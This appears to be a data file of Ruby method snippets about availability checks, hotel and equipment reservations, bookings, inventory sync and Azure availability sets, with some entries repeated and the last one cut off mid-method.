"def get\n begin\n @compute_client.availability_sets.get(@rg_name, @as_name)\n rescue MsRestAzure::AzureOperationError => e\n # if the error is that the availability set doesn't exist,\n # just return a nil\n if e.response.status == 404\n puts 'Availability Set Not Found! Create It!'\n return nil\n end\n OOLog.fatal(\"Error getting availability set: #{e.body}\")\n rescue => ex\n OOLog.fatal(\"Error getting availability set: #{ex.message}\")\n end\n end",
"def set_availability\n @availability = Availability.find(params[:id])\n end",
"def set_availability\n @availability = Availability.find(params[:id])\n end",
"def set_availability\n @availability = Availability.find(params[:id])\n end",
"def set_availability\n @availability = Availability.find(params[:id])\n end",
"def init_availability_based_on_general_availability\n\n # Selects all the possible slots\n Time.zone = 'UTC'\n\n from = Time.zone.parse(hour_from.to_s)\n to = Time.zone.parse(hour_to.to_s)\n\n selected_slots = Slot.where(\"EXTRACT(dow FROM start) IN (#{day}) AND ((EXTRACT(hour FROM start) = #{from.hour} AND EXTRACT(minute FROM start) >= #{from.min}) OR (EXTRACT(hour FROM start) > #{from.hour} AND EXTRACT(hour FROM start) < #{to.hour}) OR (EXTRACT(hour FROM start) = #{to.hour} AND EXTRACT(minute FROM start) < #{to.min}))\")\n\n puts \"Start: #{selected_slots.first.id} - #{selected_slots.first.start}\"\n\n inserts = []\n selected_slots.each do |s|\n inserts.push \"(#{doctor_id}, #{s.id}, #{id}, now(), now())\"\n end \n\n sql = \"INSERT INTO availabilities (\\\"doctor_id\\\", \\\"slot_id\\\", \\\"availability_general_id\\\", \\\"created_at\\\", \\\"updated_at\\\") VALUES #{inserts.join(\", \")}\"\n ActiveRecord::Base.connection.execute sql\n #Time.zone = 'UTC'\n puts \"Hours from #{from.hour} to #{to.hour}\"\n end",
"def ensure_rule_set()\n resp = @ses.list_receipt_rule_sets()\n add_new_rule_set = true\n resp.to_h[:rule_sets].each { |rule_set|\n add_new_rule_set = false if (rule_set[:name] =~ /^#{Regexp.escape(@receipt_rule.rule_set_name)}$/)\n }\n @ses.create_receipt_rule_set({rule_set_name: @receipt_rule.rule_set_name}) if add_new_rule_set\n end",
"def set_availability\n @availability = Availability.find(params[:id])\n end",
"def assign_available_stock\n\n stock_detail, category_occupation = BookingDataSystem::Booking.categories_availability(self.rental_location_code,\n self.date_from,\n self.time_from,\n self.date_to,\n self.time_to,\n nil,\n {\n origin: 'booking',\n id: self.id\n })\n\n #p \"stock_detail: #{stock_detail.inspect}\"\n #p \"category_occupation: #{category_occupation.inspect}\"\n\n transaction do\n booking_lines.each do |booking_line|\n booking_line.booking_line_resources.each do |booking_line_resource|\n if booking_line_resource.booking_item_reference.nil?\n p \"assign_available_stock -- #{booking_line_resource.booking_item_reference} -- available: #{category_occupation[booking_line.item_id][:available_stock].inspect} -- available_assignable: #{category_occupation[booking_line.item_id][:available_assignable_stock].inspect}\"\n if booking_item_reference = category_occupation[booking_line.item_id][:available_assignable_stock].first and !booking_item_reference.nil?\n booking_line_resource.assign_resource(booking_item_reference)\n category_occupation[booking_line.item_id][:available_assignable_stock].delete_at(0)\n end\n end\n end\n end\n\n end\n\n end",
"def ensure_data_bag_exists\n data_bag.create(name: DATA_BAG) unless locks\n end",
"def set_availability_for_exchange(availability)\n # TODO Create and write all the checks necessary for the listing to become active and public\n self.update_attribute(:open_for_exchange, availability)\n\n # LEGACY make sure its set active when its open for exchange\n self.update_attribute(:active, true) if availability\n\n # Removed from hotlist if inactive\n if not self.open_for_exchange\n self.remove_from_hot_list()\n end\n end",
"def set_specific_availability\n @specific_availability = SpecificAvailability.find(params[:id])\n end",
"def get_avail_set_properties(location)\n avail_set_props = Azure::ARM::Compute::Models::AvailabilitySetProperties.new\n # At least two domain faults\n avail_set_props.platform_fault_domain_count = 2\n avail_set_props.platform_update_domain_count = 2\n # At this point we do not have virtual machines to include\n avail_set_props.virtual_machines = []\n avail_set_props.statuses = []\n avail_set = Azure::ARM::Compute::Models::AvailabilitySet.new\n avail_set.location = location\n avail_set.properties = avail_set_props\n avail_set\n end",
"def add_uplink_set(uplink_set)\n @data['uplinkSets'] << uplink_set.data unless @data['uplinkSets'].include?(uplink_set.data)\n end",
"def availability\n @availability ||= begin\n xml = @client.fetch(:record_availability, :id => self.id)\n doc = Nokogiri::XML(xml)\n\n returning({}) do |hash|\n doc.xpath('//holding').each do |xdata|\n holding = xdata.xpath('name').text\n hash[holding] = xdata.xpath('available').text == 'true'\n end\n end\n end\n end",
"def recalculate_availability\n copies = self.available_copies\n #Below code need to discuss with Darya.\n #copies -= self.new_or_pending_holds.count\n status = copies > 0 ? 'available' : 'unavailable'\n self.update_attribute :availability, status\n end",
"def get_avail_set_props(location)\n avail_set_props =\n Azure::ARM::Compute::Models::AvailabilitySetProperties.new\n # At least two domain faults\n avail_set_props.platform_fault_domain_count = 2\n avail_set_props.platform_update_domain_count = 2\n # At this point we do not have virtual machines to include\n avail_set_props.virtual_machines = []\n avail_set_props.statuses = []\n avail_set = Azure::ARM::Compute::Models::AvailabilitySet.new\n avail_set.location = location\n avail_set.properties = avail_set_props\n avail_set\n end",
"def get(resource_group, availability_set)\n begin\n promise =\n @client.availability_sets.get(resource_group,\n availability_set).value!\n promise.body\n rescue MsRestAzure::AzureOperationError => e\n # if the error is that the availability set doesn't exist,\n # just return a nil\n if e.response.status == 404\n puts 'Availability Set Not Found! Create It!'\n return nil\n end\n OOLog.fatal(\"Error getting availability set: #{e.body}\")\n rescue => ex\n OOLog.fatal(\"Error getting availability set: #{ex.message}\")\n end\n end",
"def availability_items\n return @availability_items if @availability_items\n @availability_items = @connection.availability_items(self.id)\n end",
"def set_availability_zone\n logger.debug { \"#{self.class}##{__method__}\" }\n return unless self.zone.blank? && self.project.master_slave_mode?\n ec2.availability_zones.each do |z|\n if z.state == :available\n self.zone = z.name\n break\n end\n end\n end",
"def available_on(base_time)\n # Stash this for future use, as we will be using it to set a\n # baseline date in order to derive a bunch of different appointments\n # from.\n set_base_time(base_time)\n\n # Fetch all TimeEntris related for this date query.\n time_entries = time_entries_for(base)\n\n # Transform TimeEntry(s) -> TimeSlot(s).\n available_slots = generate_time_slots(time_entries)\n\n # Combine all sequential linear slots to into a single window.\n # This produces multiple windows\n windows = combine_linear_slots(available_slots)\n\n # Generate TimeBlocks from the Available Slot ranges\n open_time_blocks = generate_time_blocks(windows)\n\n # Optimize & Filter our wide collection of TimeBlocks.\n optimized_blocks = optimize_time_blocks(open_time_blocks)\n\n # Finally, present the TimeBlock(s) as Appointment records\n # to the Customer.\n final = transform_blocks_to_appointments(optimized_blocks)\n end",
"def add_reservation(start_date, end_date)\n @bookings << [start_date, end_date]\n end",
"def reserve_room(start_date, end_date) \n \n current_room = ()\n if @reservation_list.empty? == true\n current_room = rooms.shift\n elsif @reservation_list.empty? == false\n @reservation_list.include?(start_date)\n count = @reservation_list.count(start_date)\n current_room = rooms[count - 1]\n end\n \n \n room = current_room\n range = Hotel::DateRange.new(start_date, end_date)\n start_date = range.start_date\n end_date = range.end_date\n nights = range.nights\n \n # if the range has overlapping dates, then it will return true\n # if the range returns true \n \n reservation = Reservation.new(start_date, end_date, nights, room)\n \n # if @reservations_list.overlap?(range)\n # raise ArgumentError.new\n # end\n \n @reservation_list << reservation\n return reservation\n end",
"def sync_availability\n room_type = self.room_type\n property = self.room_type.property\n pool = PropertyChannel.find_by_channel_id_and_property_id(self.channel.id, property.id).pool\n\n room_type_to_use = room_type\n if room_type.is_inventory_linked?\n room_type_to_use = room_type.linked_room_type\n end\n\n logs = Array.new\n loop_date = DateTime.now.in_time_zone.beginning_of_day\n\n # loop until 400th day\n while loop_date <= Constant.maximum_end_date\n existing_inv = Inventory.find_by_date_and_property_id_and_pool_id_and_room_type_id(loop_date, property.id, pool.id, room_type_to_use.id)\n\n if !existing_inv.blank?\n logs << InventoryNewRoomLog.create_inventory_new_room_log(existing_inv)\n else\n inventory = Inventory.new\n inventory.date = loop_date\n inventory.total_rooms = 0\n inventory.room_type_id = room_type_to_use.id\n inventory.property = property\n inventory.pool_id = pool.id\n\n inventory.save\n\n logs << InventoryNewRoomLog.create_inventory_new_room_log(inventory)\n end\n\n loop_date = loop_date + 1.day\n end\n \n InventoryNewRoomChangeSet.create_job(logs, pool, self.channel, self)\n end",
"def set_availability(name,value)\n\t\tlock_name = \"#{name}_inventory\"\n\t\tSidekiq.redis do |connection|\n\t\t\tRedis::Semaphore.new(\"#{lock_name}\", redis: connection) do \t\t# product level lock\n\t\t\t\tconnection.hset(\"inventory\", name, value)\n\t\t\tend\n\t\tend\n\tend",
"def before_save\n self.available = true if self.available.nil?\n super\n end",
"def before_save\n self.available = true if self.available.nil?\n super\n end",
"def create_or_update_booking_dates\n if check_in_changed? || check_out_changed?\n # Delete all booking dates if check in or check out changed\n booking_dates.delete_all\n # Adding all the dates of the check_in and check_out range into the reserved dates\n (check_in..check_out).each do |reserved_date| \n # Createing booking dates with specified reserved_date\n booking_dates.create(reserved_date: reserved_date)\n end\n end\n end",
"def create_empty_data_set\n BasicInterfaceRegister[@data_lib][@data_set_name] = true\n end",
"def create\n invalid_booking = false\n duration = params[:booking][:duration].to_i\n quantity = params[:booking][:quantity].to_i\n bk_day = params[:booking][:booking_day]\n bk_day = Date.strptime(bk_day, '%Y-%m-%d')\n last_day = bk_day + duration.days\n room = params[:booking][:room_id]\n @bookings = []\n @availability_update = []\n\n #Check Availability for room on each day and given quantity.\n #If all available for all days, create bookings and save.\n #Reduce Availability quantity for each day.\n\n (bk_day..last_day).each {|day|\n available = Availability.where(available_day:day).where(room_id:room).where(\"quantity>?\",quantity).first\n\n if available\n #build on params and given date.\n #then add to array of bookings/\n @booking = current_user.bookings.build(booking_params)\n @booking.booking_day = day\n @bookings << @booking\n available.quantity = available.quantity - quantity\n @availability_update << available\n else\n invalid_booking = true\n break\n end\n }\n\n if !invalid_booking\n @bookings.each(&:save!)\n @availability_update.each(&:save!)\n render :json => current_user.bookings, status: :created\n else\n puts 'invalid booking'\n render :json => current_user.bookings, status: :unprocessable_entity\n end\n\n end",
"def availability\n return unless conflicts.count.positive?\n errors.add(:base, 'unit not available between given dates')\n end",
"def create_candidate_set(name,candidates)\n result = @candidate_set_factory.new\n result.add(name,candidates) unless candidates.empty?\n result\n end",
"def is_available_for_hot_list\n weeks_from_now = 8.weeks.from_now.to_i\n now = Time.now.utc.to_i\n self.exchange_dates.each do |availability_date|\n if availability_date.earliest_date.to_i <= weeks_from_now and availability_date.latest_date.to_i > now and self.active == true\n return true\n end\n end\n\n return false\n end",
"def review_assigned_stock\n\n automatic_assignation = SystemConfiguration::Variable.get_value('booking.assignation.automatic_resource_assignation', 'false').to_bool\n\n # Search availability\n product_search = ::Yito::Model::Booking::BookingCategory.search(self.rental_location_code,\n self.date_from,\n self.time_from,\n self.date_to,\n self.time_to,\n self.days,\n {\n locale: self.customer_language,\n full_information: true,\n product_code: nil,\n web_public: false,\n sales_channel_code: self.sales_channel_code,\n apply_promotion_code: self.promotion_code.nil? ? false : true,\n promotion_code: self.promotion_code,\n include_stock: true,\n ignore_urge: {origin: 'booking', id: self.id}\n })\n free_resources = product_search.inject([]) do |result, item|\n result.concat(item.resources)\n end\n\n p \"free_resources: #{free_resources}\"\n\n self.booking_line_resources.each do |booking_line_resource|\n\n if !booking_line_resource.booking_item_reference.nil? # Assigned resource\n if free_resources.index(booking_line_resource.booking_item_reference).nil? # Not found\n if product = product_search.select { |item| item.code == booking_line_resource.booking_line.item_id }.first\n if product.availability and product.resources.size > 0\n if automatic_assignation\n p \"booking : #{self.id} reassigned #{product.resources.first} instead of #{booking_line_resource.booking_item_reference}\"\n booking_line_resource.assign_resource(product.resources.first)\n product.resources.delete_at(0)\n end\n else\n booking_line_resource.clear_assignation\n p \"booking : #{self.id} clear assignation #{booking_line_resource.booking_item_reference} -- not free resources\"\n end\n else\n p \"booking : #{self.id} #{booking_line_resource.booking_item_reference} product #{booking_line_resource.booking_line.item_id} not found\"\n end\n else\n p \"booking: #{self.id} kept: #{booking_line_resource.booking_item_reference}\"\n end\n else # Not assigned resource\n if automatic_assignation\n if product = product_search.select { |item| item.code == booking_line_resource.booking_line.item_id }.first\n if product.availability and product.resources.size > 0\n p \"booking : #{self.id} assigned #{product.resources.first}\"\n booking_line_resource.assign_resource(product.resources.first)\n product.resources.delete_at(0)\n end\n end\n end\n end\n end\n end",
"def set_ingredient_availability\n\t @ingredient_availability = IngredientAvailability.find(params[:id])\n\tend",
"def get_availability\n start = parse_time(params[:date], params[:reservation_start])\n finish = parse_time(params[:date], params[:reservation_end])\n # redirect if the times aren't valid (in the past, end before finish, etc)\n redirect_to new_reservation_path, notice: \"Invalid reservation times\" unless valid_times?(start, finish)\n @cars = Array.new\n # for each car, check if it is available. save it if so\n Car.all.each do |car|\n @cars << car if car_available?(car, start, finish)\n end\n # if no cars are available, redirect back to the new reservation\n redirect_to new_reservation_path, method: :post, notice: \"No cars available at that time\" if @cars.empty?\n @reservation = Reservation.new\n @reservation.start = start\n @reservation.finish = finish\n user_id = params[:user_id] || current_user\n @reservation.user = User.find(user_id)\n end",
"def check_availability(opts)\n begin\n check_availability!(opts)\n rescue ActiveBookings::AvailabilityError\n false\n end\n end",
"def needs_item_set\n\t\treturn false\n\tend",
"def test_initializing_existing_privilege_set\n assert_difference(\"PrivilegeSet.sets.length\", 1, \"Adding test PrivilegeSet\") do\n assert_difference(\"Cbac::PrivilegeSetRecord.find(:all).length\", 0, \"Record should have been added to table\") do\n PrivilegeSet.add :existing_privilege_set, \"Something\"\n end\n end\n end",
"def add(haze)\n temp=Set.new([haze])\n #Check whether any hazard exist ==> Assign a new set \n if !hazardRoom\n \n @@hazardRoom[self.number-1]=temp\n else\n @@hazardRoom[self.number-1].add(haze)\n end\n end",
"def create_candidate_set(name,candidates)\n result = @candidate_set_factory.new\n result.add(name,candidates) unless candidates.empty?\n result\n end",
"def availability\n\t\tdateDaysNamesShort = I18n.t('date.abbr_day_names').dup\n\t\tdateDayNames = I18n.t('date.day_names').dup\n\t\tdateMonthNames = I18n.t('date.month_names').dup\n\n\t\tdateMonthNamesShort = I18n.t('date.abbr_month_names').dup\n\n\t\tdateMonthNames.delete_at(0)\n\t\tdateMonthNamesShort.delete_at(0)\n\t\t@js_i18n_data = {:dateDaysNames=>dateDayNames.to_s,:dateDaysNamesShort=>dateDaysNamesShort.to_s, :dateMonthNames=>dateMonthNames.to_s, :dateMonthNamesShort=>dateMonthNamesShort.to_s}\n\n\t\t@staffer = Staffer.find(params[:id])\n\t\t@availability = @staffer.availability\n\n\t\tif request.put?\n\t\t\tjson_data = params[:json_data]\n\t\t\tif Availability.is_json_valid?(json_data)\n\t\t\t\t@availability.json_data = json_data\n\t\t\t\t@availability.save\n\t\t\t\trender :json=> { :status => :ok, :message=>I18n.t(\"flash.success.business_account.availability.update\")}\n\t\t\t#flash_success(\"flash.success.business_account.availability.update\")\n\t\t\telse\n\t\t\t\trender :json=> { :status => :error, :message=>I18n.t(\"flash.error.business_account.availability.update\")}\n\t\t\t#flash_error(\")\n\t\t\tend\n\n\t\tend\n\n\tend",
"def build_reservations\n # IMPORTANT: .take_matching_resell should be called before validations\n reservations = @bookings.map { |booking| Reservation.new(booking).take_matching_resell }\n all_valid = reservations.all? { |reservation| reservation.valid? }\n all_valid ? group_bookings.map { |booking| Reservation.new(booking).take_matching_resell } : reservations\n end",
"def cmd_db_set_auto\n\t\t\t#TODO: Find a way to persist sets by serializing? them to .msf4 etc\n\t\t\t#TODO: Let the user add or subtract from this\n\t\t\tself.create_set(\"windows\", \"hosts where os_name~windows\")\n\t\t\tself.create_set(\"linux\", \"hosts where os_name~linux\")\n\t\t\tself.create_set(\"all_hosts\", \"hosts\")\n\t\t\tself.create_set(\"all_active_sessions\", \"sessions where closed_at=nil\")\n\t\t\tself.create_set(\"unknown\", \"hosts where os_name=nil\")\n\t\t\tcmd_db_set_list\n\t\tend",
"def create_if_not_exists\n args = [\n [available_list_key(), taken_hash_key(), created_at_key()],\n [@resource_count, @expiration, Time.now.to_f()]\n ]\n $redis.eval(create_script(), *args)\n end",
"def set_status_to_available_if_nil\n self.status_constant = SupplyItem::AVAILABLE if self.status_constant == nil\n end",
"def create_empty_candidate_set\n @candidate_set_factory.new\n end",
"def available?(reservations = [])\n return true if self.class == Reservation && self.status != 'reserved'\n all_res = reservations.dup\n all_res << self if self.class != Reservation\n all_res.uniq!\n eq_objects_needed = same_model_count(all_res)\n if equipment_model.num_available(start_date, due_date) < eq_objects_needed\n errors.add(:base, equipment_model.name + \" is not available for the full time period requested.\\n\")\n return false\n end\n return true\n end",
"def barrier\n @builder_sets << build_builder_set\n end",
"def set_inavailability\n @inavailability = Inavailability.find(params[:id])\n end",
"def create\n @specific_availability = SpecificAvailability.new(specific_availability_params)\n\n respond_to do |format|\n if @specific_availability.save\n format.html { redirect_to @specific_availability, notice: 'Specific availability was successfully created.' }\n format.json { render :show, status: :created, location: @specific_availability }\n else\n format.html { render :new }\n format.json { render json: @specific_availability.errors, status: :unprocessable_entity }\n end\n end\n end",
"def add\n ensure_client\n required_attributes = %w[deviceVolumeName isShareable storageSystemUri]\n required_attributes.each { |k| raise IncompleteResource, \"Missing required attribute: '#{k}'\" unless @data.key?(k) || @data.key?(k.to_sym) }\n @data['name'] ||= @data['deviceVolumeName']\n response = @client.rest_post(\"#{BASE_URI}/from-existing\", { 'body' => @data }, @api_version)\n set_all(client.response_handler(response))\n self\n end",
"def update_lots_availability\n response = Typhoeus.get(\"https://api.data.gov.sg/v1/transport/carpark-availability\",\n headers: http_headers)\n if response.code == 200\n status, data = true, JSON.parse(response.response_body)\n else\n status, data = false, {error: {message: 'API end point failed', response_code: response.code }}\n end\n [status, data]\n end",
"def fillupMissingData\n #if particiants or place is given and it's not upcoming, set place or particiants to default value\n #set enrolled to false if it is upcoming\n logger.debug \"test if I can fill up any data\"\n if (self.incomplete?)\n logger.debug \"detected an upcoming tournament - #{self.to_s}\"\n self.upcoming?\n else\n logger.debug \"filling up missing data for #{self.to_s}\"\n self.participants ||= self.place\n self.place ||= self.participants\n logger.debug \"filled up as #{self.to_s}\"\n end\n self.setEnrollement\n self #for chaining\n end",
"def add_reservation(room_selection, check_in, check_out)\n # self.add_block()\n # self.add_reservation_to_block()\n @reservations << Hotel::Reservation.new(room_selection, check_in, check_out)\n end",
"def existing_reservations?\n !existing_reservations.empty?\n end",
"def room_availability_check\n if hotel_room.present? && !hotel_room.available?(check_in, check_out)\n errors.add(:hotel_room, \"is not available right now and booked already\")\n end\n end",
"def reserve_room(check_in, check_out)\n dates = date_range(check_in, check_out)\n new_reservation = nil\n @rooms.each do |room|\n if is_available?(room, dates) && is_not_blocked?(room, dates)\n new_reservation = Reservation.new(room, check_in, check_out)\n new_reservation.id = assign_res_id\n @reservations << new_reservation\n break\n end\n end\n if new_reservation != nil\n return new_reservation\n else\n raise StandardError, 'no rooms available in date range'\n end\n end",
"def mark_for_hot_list\n if self.is_available_for_hot_list\n return self.update_attribute(:added_to_hot_list, Time.now)\n end\n return false\n end",
"def is_available\n return unless start_time.present? && end_time.present?\n\n reservation_hours = (end_time - start_time) / 1.hour\n day = start_time.wday\n st = start_time\n et = reservation_hours > 24 ? end_time.end_of_day : end_time\n while reservation_hours > 0 do\n unless available_at(st, et, day)\n errors.add(:start_time, I18n.t('activerecord.errors.models.reservation.attributes.date.available_hours'))\n return\n end\n if overnight?\n st = start_time.beginning_of_day\n end\n et = reservation_hours > 24 ? end_time.end_of_day : end_time\n day = (day + 1) % 7\n reservation_hours -= 24\n end\n end",
"def create_set(data)\n result = @connection.request(\n url: \"/snapshot-sets\",\n method: :post,\n payload: {\n snapshotSet: data\n }\n )\n\n # Blocks async task\n result = @connection.wait_for_task(result['taskUri'].split('/').last)\n\n get_set(result['associatedResource']['resourceUri'].split('/').last)\n end",
"def add_bookings!(bookings, user, date)\n grid.unfilled.each do |empty|\n grid.fill(empty.slot.from, empty.slot.court_id, select_booking(bookings, user, date, empty.slot))\n end\n end",
"def update_teacher_set_availability_in_elastic_search\n body = {\n :availability => self.availability,\n :available_copies => self.available_copies\n }\n ElasticSearch.new.update_document_by_id(self.id, body)\n end",
"def seat_availability(bus,bus_start_date)\n \n Booking.where(start_date: bus_start_date, bus_id: bus.id).count < bus.capacity # seat capacity.\n \n end",
"def available?(date_range)\n if reservations.length == 0\n return true\n end\n if reservations.any? {|r| r.overlap?(date_range)}\n return false\n else\n return true\n end\n end",
"def add_uplink_set(uplink_set)\n @data['uplinkSets'] << uplink_set.data\n end",
"def set_availability_product\n @availability_product = AvailabilityProduct.friendly.find(params[:id])\n end",
"def add_uplink_set(uplink_set)\n @data['uplinkSets'] << uplink_set.data\n end",
"def update_availability!(availability)\n client.update_availability!(self.apple_id, availability)\n end",
"def add_markets\n Market.all.each do |m|\n if m.name != \"Master\"\n ms = MarketService.new\n ms.service= self\n ms.market= m\n ms.active= true\n ms.save\n end\n end\n end",
"def define_available_instance(reference, db_name, create_unless_exists = true)\n available_instances[reference.to_sym] = create_unless_exists ? instance!(db_name) : instance(db_name)\n end",
"def available?(start_date, end_date)\n unless self.reservations.any? { |res| start_date.to_date.between?(res.checkin, res.checkout) || end_date.to_date.between?(res.checkin, res.checkout)} \n true\n end\n end",
"def maesb_generate_equip_set\n @maesb_belongs_to_sets = []\n end",
"def avail\n updatePool\n @pool\n end",
"def add_to_allocation(supplier, demander, bid)\n @allocation[supplier.get_id][demander.get_id] = { :demander => demander, :bid => bid }\n @in_allocation[demander.get_id] = true\n end",
"def reserveRoom(date, time, scheduleTable)\n j=0\n reservedRooms = []\n while j < scheduleTable.size\n if date == scheduleTable[j][\"Date\"] && time == scheduleTable[j][\"Time\"] && self.building == scheduleTable[j][\"Building\"] && self.roomNum == scheduleTable[j][\"Room\"]\n scheduleTable[j][\"Available\"] = \"false\"\n end\n j+=1\n end\n end",
"def availability\n STATUS_TO_AVAILABILITY[self.status]\n end",
"def create\n \t\t@volunteer_event = VolunteerEvent.find(:first, :conditions =>\n\t\t\t\t\t\t\t\t\t\t\t {:event_id => session[:event_id],\n\t\t\t\t\t\t\t\t\t\t\t :volunteer_id => current_user.volunteer.id})\n @avail = @volunteer_event.avails.build(params[:avail])\n\t \t@avail.event_date = Date.parse(session[:current_date])\n\n respond_to do |format|\n if @avail.save\n format.html { redirect_to availability_path(:event_id => session[:event_id]), \n\t\t\t\t\t\t\t\t\t\t\tnotice: 'Avail was successfully created.' }\n format.json { render json: @avail, \n\t\t\t\t\t\t\t\t\t\t\tstatus: :created, location: @avail }\n else\n format.html { render action: \"new\" }\n format.json { render json: @avail.errors, \n\t\t\t\t\t\t\t\t\t\t\tstatus: :unprocessable_entity }\n end\n end\n end",
"def availability_of_room\n room_type = RoomType.find(self.room_type_id) rescue nil\n errors.add(:room_type_id, \"Pleass select room type\") if room_type.blank?\n return if room_type.blank?\n total_rooms = room_type.rooms.pluck(:id)\n booked_rooms = Booking.where('(start_date >= ? and start_date <= ?) or (end_date >= ? and end_date <= ?)', self.start_date, self.end_date, self.start_date, self.end_date).pluck(:room_id)\n available_rooms = total_rooms - booked_rooms\n errors.add(:start_date, \"unavailable for given time period\") if available_rooms.count == 0\n end",
"def create\n if @assignment.active_offer.present? &&\n @assignment.active_offer.status != 'withdrawn'\n render_error(message: I18n.t('active_offers.already_exists'))\n return\n end\n\n start_transaction_and_rollback_on_exception do\n offer = @assignment.offers.create!\n @assignment.update!(active_offer: offer)\n render_success @assignment.active_offer\n end\n end",
"def maesb_generate_equipment_sets\n # Generate Equipment Sets\n ($data_weapons + $data_armors).compact.each { |equip| equip.maesb_generate_equip_set }\n # Update items to refer to the set to which they belong\n set_items = $data_armors.compact.select {|armor| !armor.maesb_sets.empty? }\n set_items.each { |set_item| \n set_item.maesb_sets.collect {|set| set.items }.flatten.uniq.each { |equip|\n equip.maesb_belongs_to_sets.push(set_item.id) \n }\n }\n end",
"def available\n # do not run on reservations that don't matter anymore\n return if self.checked_in || self.due_date < Date.current\n return unless equipment_model\n if equipment_model.num_available(start_date, due_date) <= 0\n errors.add(:base, equipment_model.name + \" is not available for the full time period requested.\\n\")\n end\n end",
"def add_stages_to_transaction\n org_stages = self.organization.deal_statuses.where(\"name NOT IN (?)\", ['Won', 'Lost']).order(\"original_id\") \n org_stages.each do |stage|\n if stage.id == self.deal_status_id\n break\n else\n stage = self.organization.deal_statuses.where(\"id=?\",stage.id).first\n if stage.present? && stage.name.downcase != \"won\"\n begin\n DealTransaction.create({:organization_id => self.organization_id, :deal_id => self.id, :deal_status_id => stage.id, :user => User.current, :is_activity_display => false, :assigned_to => self.assigned_to.present? ? self.assigned_to : User.current.id})\n rescue\n end\n end\n end\n end\n end",
"def ready\n return if @readyFlag\n raise SwapDmi::CacheSetupError.new if @save.nil?\n raise SwapDmi::CacheSetupError.new if @getMany.nil?\n\t\t\traise SwapDmi::CacheSetupError.new if @getOne.nil?\n @checkHas = Proc.new {|k| !self.getOne(k).nil? } if @checkHas.nil?\n self.instance_exec(&@ready) unless @ready.nil?\n @readyFlag = true\n self\n end",
"def check_rbs_availability!; end",
"def reserve_room(start_date, end_date)\n requested_range = DateRange.new(start_date: start_date, end_date: end_date)\n reservable_rooms = available_rooms(requested_range)\n chosen_room = nil\n\n # pick first room in list of open rooms\n if reservable_rooms.length == 0\n raise ArgumentError.new(\"There are no open rooms available between the dates #{start_date} and #{end_date}. Please try another date range.\")\n else \n chosen_room = reservable_rooms.first \n end \n\n # create a unique id \n if @reservations.length == 0 \n new_res_id = 1\n else \n new_res_id = @reservations.last.id + 1\n end \n\n # create a new reservation \n new_reservation = Hotel::Reservation.new(id: new_res_id, room_num: chosen_room, start_date: start_date, end_date: end_date)\n\n # update @reservations \n update_reservations_list(new_reservation)\n end",
"def is_slot_alloted?\n\t\tif self.company.bookings.find_by_date_of_booking(self.date_of_booking)\n\t\t\tif self.new_record?\n\t\t\t\tdays_booking = self.company.bookings.where(date_of_booking: self.date_of_booking)\n\t\t\telse\n\t\t\t\tdays_booking = self.company.bookings.where(date_of_booking: self.date_of_booking).where.not(id: self.id)\n\t\t\tend\n\t\t\tdays_booking.each do |x|\n\t\t\t\tunless x.slot != self.slot\n\t\t\t\t\tself.errors[:allocated_slot] << \"=> This slot is already alloted\"\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend",
"def add_reservation(room, checkin_date, checkout_date)\n\n unless @all_rooms.include?(room)\n raise ArgumentError, \"There is no room #{room} available\"\n end\n\n unless check_availability(checkin_date, checkout_date).include?(room)\n raise ArgumentError, \"That room is already reserved\"\n end\n \n reservation = Hotel::Reservation.new(room, checkin_date, checkout_date, @room_rate)\n @all_reservations << reservation\n\n return reservation\n end",
"def available\n # do not run on reservations that don't matter anymore\n return if checked_in || due_date < Time.zone.today\n return unless equipment_model\n return unless equipment_model.num_available(start_date, due_date) <= 0\n errors.add(:base, equipment_model.name + ' is not available for the '\\\n \"full time period requested.\\n\")\n end",
"def mark_available\n t = @offering_interviewer.interview_availabilities.find_or_create_by_time_and_offering_interview_timeblock_id(\n params[:time].to_time, params[:timeblock_id])\n render :partial => \"apply/timeslot_available\", :locals => { :b => params[:timeblock_id], :ti => params[:ti], :time => params[:time] }\n end",
"def create\n @reservation = Reservation.new(reservation_params)\n @reservation.teacher_id = current_user.id\n authorize! :create, @reservation\n\n if(session[:rental_category_id].nil?)\n redirect_to shopping_path\n end\n \n \n reservation_category = ItemCategory.find(session[:rental_category_id])\n \n #Nasty race condition if multiple ppl grab same kit\n @@semaphore.synchronize {\n kit_pool = Kit.available_for_item_category(reservation_category)\n \n test_kit = kit_pool.sample\n if(!test_kit.nil?)\n test_kit.set_reserved\n test_kit.reload\n @reservation.kit_id = test_kit.id\n end\n \n respond_to do |format|\n if @reservation.save\n session[:rental_category_id] = nil\n session[:start_date] = nil\n session[:end_date] = nil\n session[:pickup_date] = nil\n session[:return_date] = nil\n\n format.html { redirect_to rental_history_path(current_user), notice: 'Thank you for supporting the STEAM Kit rental program.' }\n else\n if(!test_kit.nil?)\n test_kit.unset_reserved\n test_kit.reload\n end\n format.html { redirect_to reservation_error_path }\n end\n end\n }\n end",
"def mark_available\n t = @user_application.interview_availabilities.find_or_create_by_time_and_offering_interview_timeblock_id(\n params[:time].to_time, params[:timeblock_id])\n render :partial => \"timeslot_available\", :locals => { :b => params[:timeblock_id], :ti => params[:ti], :time => params[:time] }\n end",
"def recheck_available\n update_attribute(:available, true) if\n documents.present? || subjects.present? || folders.present?\n end",
"def availability\n end",
"def availability\n end",
"def can_create_reserve_schedule?\n kit_schedule = KitSchedule.new\n kit_schedule.current_user = User.current_user\n return kit_schedule.can_create_reserve?(self.center_ids)\n end",
"def enroll_from_waitlist_as_needed\n\n # Very dumb lock\n @@currently_enrolling = true\n\n # Get tour that some booking was just destroyed for\n tour = self.tour\n\n # We can possibly enroll if there are available seats, and waitlisted seats\n if Booking.get_available_seats_for_tour(tour).positive? && Waitlist.get_waitlisted_seats_for_tour(tour).positive?\n # Iterate over all waitlists for this tour\n Waitlist.get_waitlists_for_tour_first_come_first_served(tour).each do |waitlist|\n\n # Since we are in a loop, re-check some stuff each time\n # Available seats in the tour may have been modified so check that again\n # Waitlist may have been destroyed (but not quite totally 100% gone yet)\n # Honestly I don't understand how a \"destroyed\" waitlist can be returned\n # from get_waitlists_for_tour_first_come_first_served,\n # but I am seeing behavior that makes me pretty sure this is happening\n # Here we have multiple levels of trying to NOT see a waitlist we have destroyed\n if waitlist.num_seats <= Booking.get_available_seats_for_tour(tour)\n\n # We can book all of these seats\n # We need a booking\n # If there was a booking already, update it\n # If there was not a booking already, create it\n # We do not need a waitlist (destroy it)\n associated_booking = waitlist.booking_same_user_same_tour\n if associated_booking\n already_booked = associated_booking.num_seats\n associated_booking.update(\n num_seats: already_booked + 